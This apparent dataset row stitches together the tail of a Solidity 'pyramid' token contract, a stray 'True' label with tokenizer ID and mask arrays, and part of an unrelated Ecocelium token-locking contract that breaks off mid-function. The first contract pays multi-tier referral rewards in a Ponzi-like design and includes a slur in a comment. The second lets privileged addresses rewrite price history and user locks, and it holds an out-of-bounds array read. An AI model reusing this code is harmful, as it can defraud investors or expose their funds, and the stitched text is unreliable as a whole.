uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); // 25% dividendFee_
uint256 _referralBonus = SafeMath.div(_undividedDividends, 2); // 50% of dividends: 12.5%
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, (_dividends));
address _referredBy = referralOf_[_customerAddress];
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], (_referralBonus / 2)); // Tier 1 gets 50% of referrals (5%)
address tier2 = referralOf_[_referredBy];
if (tier2 != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[tier2] >= stakingRequirement) {
referralBalance_[tier2] = SafeMath.add(referralBalance_[tier2], (_referralBonus*30 / 100)); // Tier 2 gets 30% of referrals (3%)
//address tier3 = referralOf_[tier2];
if (referralOf_[tier2] != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[referralOf_[tier2]] >= stakingRequirement) {
referralBalance_[referralOf_[tier2]] = SafeMath.add(referralBalance_[referralOf_[tier2]], (_referralBonus*20 / 100)); // Tier 3 get 20% of referrals (2%)
}
else {
_dividends = SafeMath.add(_dividends, (_referralBonus*20 / 100));
}
}
else {
_dividends = SafeMath.add(_dividends, (_referralBonus*30 / 100));
}
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
}
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/**
* Transfer tokens from the caller to a new holder.
* 0% fee.
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
/**
* redistribution of dividends
*/
function redistribution()
external
payable
{
// setup
uint256 ethereum = msg.value;
// disperse ethereum among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (ethereum * magnitude) / tokenSupply_);
// fire event
emit OnRedistribution(ethereum, block.timestamp);
}
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(address _newAdmin)
onlyAdministrator()
external
{
owner = _newAdmin;
}
/**
* Precautionary measures in case we need to adjust the masternode rate.
*/
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_),100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_),100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_),100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function disableWhitelist() onlyAdministrator() external {
whitelist_ = false;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
limitBuy()
internal
returns(uint256)
{
//As long as the whitelist is true, only whitelisted people are allowed to buy.
// if the person is not whitelisted but whitelist is true/active, revert the transaction
if (whitelisted_[msg.sender] == false && whitelist_ == true) {
revert();
}
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100); // 20% dividendFee_
uint256 _referralBonus = SafeMath.div(_undividedDividends, 2); // 50% of dividends: 10%
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, (_undividedDividends));
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement &&
referralOf_[_customerAddress] == 0x0000000000000000000000000000000000000000 &&
alreadyBought[_customerAddress] == false
){
referralOf_[_customerAddress] = _referredBy;
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], (_referralBonus / 2)); // Tier 1 gets 50% of referrals (5%)
address tier2 = referralOf_[_referredBy];
if (tier2 != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[tier2] >= stakingRequirement) {
referralBalance_[tier2] = SafeMath.add(referralBalance_[tier2], (_referralBonus*30 / 100)); // Tier 2 gets 30% of referrals (3%)
//address tier3 = referralOf_[tier2];
if (referralOf_[tier2] != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[referralOf_[tier2]] >= stakingRequirement) {
referralBalance_[referralOf_[tier2]] = SafeMath.add(referralBalance_[referralOf_[tier2]], (_referralBonus*20 / 100)); // Tier 3 get 20% of referrals (2%)
}
else {
_dividends = SafeMath.add(_dividends, (_referralBonus*20 / 100));
_fee = _dividends * magnitude;
}
}
else {
_dividends = SafeMath.add(_dividends, (_referralBonus*30 / 100));
_fee = _dividends * magnitude;
}
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
alreadyBought[_customerAddress] = true;
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2322,
1025,
3206,
5202,
4305,
15088,
1063,
1013,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
16913,
28295,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
1013,
1013,
1013,
2069,
2111,
2007,
19204,
2015,
16913,
18095,
2069,
16078,
17794,
1006,
1007,
1063,
5478,
1006,
2026,
18715,
6132,
1006,
1007,
1028,
1014,
1007,
1025,
1035,
1025,
1065,
1013,
1013,
2069,
2111,
2007,
11372,
16913,
18095,
2069,
3367,
17583,
11774,
2015,
1006,
1007,
1063,
5478,
1006,
2026,
4305,
17258,
10497,
2015,
1006,
2995,
1007,
1028,
1014,
1007,
1025,
1035,
1025,
1065,
1013,
1013,
8911,
2064,
1024,
1013,
1013,
1011,
1028,
2689,
1996,
2171,
1997,
1996,
3206,
1013,
1013,
1011,
1028,
2689,
1996,
2171,
1997,
1996,
19204,
1013,
1013,
1011,
1028,
2689,
1996,
13433,
2015,
7669,
1006,
2129,
2116,
19204,
2015,
2009,
5366,
2000,
2907,
1037,
3040,
3630,
3207,
1010,
1999,
2553,
2009,
4152,
4689,
2152,
2101,
1007,
1013,
1013,
2027,
3685,
1024,
1013,
1013,
1011,
1028,
2202,
5029,
1013,
1013,
1011,
1028,
4487,
19150,
10534,
2015,
1013,
1013,
1011,
1028,
3102,
1996,
3206,
1013,
1013,
1011,
1028,
2689,
1996,
3976,
1997,
19204,
2015,
16913,
18095,
2069,
4215,
25300,
20528,
4263,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
5787,
8569,
2100,
1006,
1007,
1063,
2065,
1006,
5787,
1004,
1004,
5796,
2290,
1012,
3643,
1028,
1016,
28855,
1004,
1004,
5796,
2290,
1012,
4604,
2121,
999,
1027,
3954,
1007,
1063,
1013,
1013,
4638,
2065,
1996,
12598,
2003,
2058,
1016,
11031,
2121,
1998,
5787,
2003,
3161,
2065,
1006,
1006,
5796,
2290,
1012,
3643,
1007,
1026,
4769,
1006,
2023,
1007,
1012,
5703,
1004,
1004,
1006,
4769,
1006,
2023,
1007,
1012,
5703,
1011,
1006,
5796,
2290,
1012,
3643,
1007,
1007,
1028,
1027,
2753,
28855,
1007,
1063,
1013,
1013,
2065,
3206,
6561,
2753,
28855,
4487,
19150,
5787,
5787,
1027,
6270,
1025,
1065,
2842,
1063,
7065,
8743,
1006,
1007,
1025,
1013,
1013,
7065,
8743,
1996,
12598,
1065,
1065,
1035,
1025,
1065,
1013,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
2824,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
1013,
2724,
3031,
7520,
5311,
26300,
1006,
4769,
25331,
8013,
4215,
16200,
4757,
1010,
21318,
3372,
17788,
2575,
14932,
11031,
7869,
2819,
1010,
21318,
3372,
17788,
2575,
19204,
6491,
18447,
2098,
1010,
4769,
25331,
3615,
3762,
1007,
1025,
2724,
3031,
7520,
23836,
1006,
4769,
25331,
8013,
4215,
16200,
4757,
1010,
21318,
3372,
17788,
2575,
19204,
19022,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./Ecocelium_Initializer.sol";
/*
███████╗░█████╗░░█████╗░░█████╗░███████╗██╗░░░░░██╗██╗░░░██╗███╗░░░███╗
██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔════╝██║░░░░░██║██║░░░██║████╗░████║
█████╗░░██║░░╚═╝██║░░██║██║░░╚═╝█████╗░░██║░░░░░██║██║░░░██║██╔████╔██║
██╔══╝░░██║░░██╗██║░░██║██║░░██╗██╔══╝░░██║░░░░░██║██║░░░██║██║╚██╔╝██║
███████╗╚█████╔╝╚█████╔╝╚█████╔╝███████╗███████╗██║╚██████╔╝██║░╚═╝░██║
╚══════╝░╚════╝░░╚════╝░░╚════╝░╚══════╝╚══════╝╚═╝░╚═════╝░╚═╝░░░░░╚═╝
Brought to you by Kryptual Team */
contract ecoLockManager is Initializable {
IAbacusOracle abacus;
EcoMoneyManager EMM;
EcoceliumInit Init;
enum Status {CLOSED, ACTIVE}
/*============Mappings=============
----------------------------------*/
mapping (address => uint64[]) public userLock;
mapping (uint64 => string) public tokenMap;
mapping (uint64 => uint) public orderDuration;
mapping (uint64 => uint) public orderAmount;
mapping (uint64 => uint) public orderTime;
mapping (string => History[]) public tokenPriceHistory; //TimeID
mapping (string => rHistory[]) public tokenRateHistory; //TimeID
mapping (address => uint) public rewardWithdrawls;
mapping (address => Withdrawls[]) public freeAssetsWithdrawl;
/*=========Structs and Initializer================
--------------------------------*/
struct History{
// uint hID;
uint value;
uint startDate;
uint endDate;
}
struct Withdrawls {
string token;
uint amount;
}
function initializeAddress(address payable EMMaddress,address AbacusAddress, address payable Initaddress) external initializer{
EMM = EcoMoneyManager(EMMaddress);
abacus = IAbacusOracle(AbacusAddress);
Init = EcoceliumInit(Initaddress);
}
function easyLock(string memory rtoken ,uint _amount,uint _duration) external payable {
address payable userAddress = msg.sender;
string memory _tokenSymbol = EMM.getWrapped(rtoken);
_deposit(rtoken, _amount, userAddress, _tokenSymbol);
(uint64 _orderId,uint newAmount,uint fee) = _ordersub(_amount, userAddress, _duration, _tokenSymbol);
Init.setOwnerFeeVault(rtoken, fee);
(orderTime[_orderId], orderAmount[_orderId], orderDuration[_orderId]) = (now, newAmount, _duration);
tokenMap[_orderId] = _tokenSymbol;
userLock[userAddress].push(_orderId);
EMM.mintWrappedToken(userAddress, newAmount, _tokenSymbol);
EMM.lockWrappedToken(userAddress, newAmount,_tokenSymbol);
}
function _deposit(string memory rtoken, uint _amount, address msgSender, string memory wtoken) internal {
require(EMM.getwTokenAddress(wtoken) != address(0),"Invalid Token Address");
if(keccak256(abi.encodePacked(rtoken)) == keccak256(abi.encodePacked(Init.ETH_SYMBOL()))) {
require(msg.value >= _amount);
EMM.DepositManager{ value:msg.value }(rtoken, _amount, msgSender);
} else {
EMM.DepositManager(rtoken, _amount, msgSender); }
}
function unlockAndWithdraw(string memory rtoken, uint amount) external {
string memory _WToken = EMM.getWrapped(rtoken);
require(getUserFreeAsset(msg.sender, _WToken) >= amount , "Insufficient Balance");
EMM.releaseWrappedToken(msg.sender,amount, _WToken);
EMM.burnWrappedFrom(msg.sender, amount, _WToken);
freeAssetsWithdrawl[msg.sender].push(Withdrawls({
amount : amount,
token : _WToken}));
EMM.WithdrawManager(rtoken, amount, msg.sender);
}
function withdrawEarning(uint amount) external {
require(getECOEarnings(msg.sender) >= amount , "Insufficient Balance");
rewardWithdrawls[msg.sender] += amount;
EMM.WithdrawManager(Init.ECO(), amount, msg.sender);
}
function getECOEarnings(address userAddress) public view returns (uint earnings){
for(uint i=0; i<userLock[userAddress].length; i++) {
earnings += calculateECOEarning(tokenMap[userLock[userAddress][i]], orderTime[userLock[userAddress][i]], orderAmount[userLock[userAddress][i]], orderDuration[userLock[userAddress][i]], (orderDuration[userLock[userAddress][i]]/6)-1);}
earnings -= rewardWithdrawls[userAddress];
}
function calculateECOEarning(string memory _tokenSymbol, uint time, uint _amount, uint duration, uint dID) private view returns (uint reward){
uint meanECOPrice;
uint meanTokenPrice;
//string memory eECO = Init.WRAP_ECO_SYMBOL();
uint expiry = time+(duration*30 days);
meanTokenPrice = meanPriceFinder(_tokenSymbol, time, expiry>now?now:expiry);
meanECOPrice = meanPriceFinder(Init.WRAP_ECO_SYMBOL(), time, expiry>now?now:expiry);
uint meanEarnRate = findLockRate(time, dID, _tokenSymbol);
uint amount = _amount*meanTokenPrice*(10**8)/(meanECOPrice*(10**uint(wERC20(EMM.getwTokenAddress(_tokenSymbol)).decimals())));
reward += (amount * meanEarnRate *(now>expiry ? expiry-time : now-time))/(3153600000);
}
function meanPriceFinder(string memory _token, uint time, uint endtime) public view returns (uint meanTokenPrice) {
uint sT = time;
for(uint i=0 ; i<tokenPriceHistory[_token].length ; i++) {
uint eD = tokenPriceHistory[_token][i].endDate==0?now:tokenPriceHistory[_token][i].endDate;
uint eT = endtime<=eD?endtime:eD;
if((time>tokenPriceHistory[_token][i].startDate && time<eD)) {
meanTokenPrice += tokenPriceHistory[_token][i].value * (eT - sT) ;
if(endtime>eD) { sT= tokenPriceHistory[_token][i+1].startDate; }
}
}
meanTokenPrice = meanTokenPrice/(now>endtime ? endtime-time : now-time);
}
/*==============Helpers============
---------------------------------*/
function getUserLock(address userAddress, string memory token) public view returns (uint locked) {
for(uint i=0; i<userLock[userAddress].length; i++) {
if(((now-orderTime[userLock[userAddress][i]])<(orderDuration[userLock[userAddress][i]]*30 days)) && (keccak256(abi.encodePacked(token)) == keccak256(abi.encodePacked(tokenMap[userLock[userAddress][i]])))){
locked += orderAmount[userLock[userAddress][i]];
}
}
}
function _ordersub(uint amount,address userAddress,uint _duration,string memory _tokenSymbol) internal view returns (uint64, uint, uint){
uint newAmount = amount - (amount*Init.tradeFee())/100;
uint fee = (amount*Init.tradeFee())/100;
uint64 _orderId = uint64(uint(keccak256(abi.encodePacked(userAddress,_tokenSymbol,_duration,now))));
return (_orderId,newAmount,fee);
}
function totalDeposit(address userAddress, string memory rtoken) public view returns (uint total) {
for(uint i=0; i<userLock[userAddress].length; i++) {
if(keccak256(abi.encodePacked(rtoken)) == keccak256(abi.encodePacked(tokenMap[userLock[userAddress][i]]))){
total += orderAmount[userLock[userAddress][i]];
}
}
}
function getUserFreeAsset(address userAddress, string memory rtoken) public view returns (uint freeAssets) {
for(uint i=0; i<userLock[userAddress].length; i++) {
if(((now-orderTime[userLock[userAddress][i]])>(orderDuration[userLock[userAddress][i]]*30 days)) && (keccak256(abi.encodePacked(rtoken)) == keccak256(abi.encodePacked(tokenMap[userLock[userAddress][i]])))){
freeAssets += orderAmount[userLock[userAddress][i]];
}
}
for(uint i=0; i<freeAssetsWithdrawl[userAddress].length; i++) {
if(keccak256(abi.encodePacked(rtoken)) == keccak256(abi.encodePacked(freeAssetsWithdrawl[userAddress][i].token))){
freeAssets -= freeAssetsWithdrawl[userAddress][i].amount;
}
}
}
function getOrderStatus(uint64 _orderId) public view returns (bool) {
return ((now-orderTime[_orderId])<(orderDuration[_orderId]*30 days));
}
function changeRate(string memory token, uint _value, uint dID) external {
require(Init.friendlyaddress(msg.sender) ,"Not Friendly Address");
tokenRateHistory[token][tokenRateHistory[token].length-1].endDate = now;
tokenRateHistory[token].push(rHistory({dID: dID, value : _value, startDate: now, endDate: 0 }));
}
function changePrice(string memory token, uint _value) external {
require(Init.friendlyaddress(msg.sender) ,"Not Friendly Address");
tokenPriceHistory[token][tokenPriceHistory[token].length-1].endDate = now;
tokenPriceHistory[token].push(History({value : _value, startDate: now, endDate: 0 }));
}
function superRateManager(string memory token, uint _value, uint time, uint endDate, uint dID) external {
require(Init.friendlyaddress(msg.sender) ,"Not Friendly Address");
tokenRateHistory[token].push(rHistory({dID: dID, value : _value, startDate: time, endDate: endDate }));
}
function superPriceManager(string memory token, uint _value, uint time, uint endDate) external {
require(Init.friendlyaddress(msg.sender) ,"Not Friendly Address");
tokenPriceHistory[token].push(History({value : _value, startDate: time, endDate: endDate }));
}
function superUserManager(address userAddress, string memory rtoken ,uint _amount,uint _duration, uint time) external {
require(Init.friendlyaddress(msg.sender) ,"Not Friendly Address");
string memory _tokenSymbol = EMM.getWrapped(rtoken);
(uint64 _orderId,uint newAmount,uint fee) = _ordersub(_amount, userAddress, _duration, _tokenSymbol);
Init.setOwnerFeeVault(rtoken, fee);
(orderTime[_orderId], orderAmount[_orderId], orderDuration[_orderId]) = (time, newAmount, _duration);
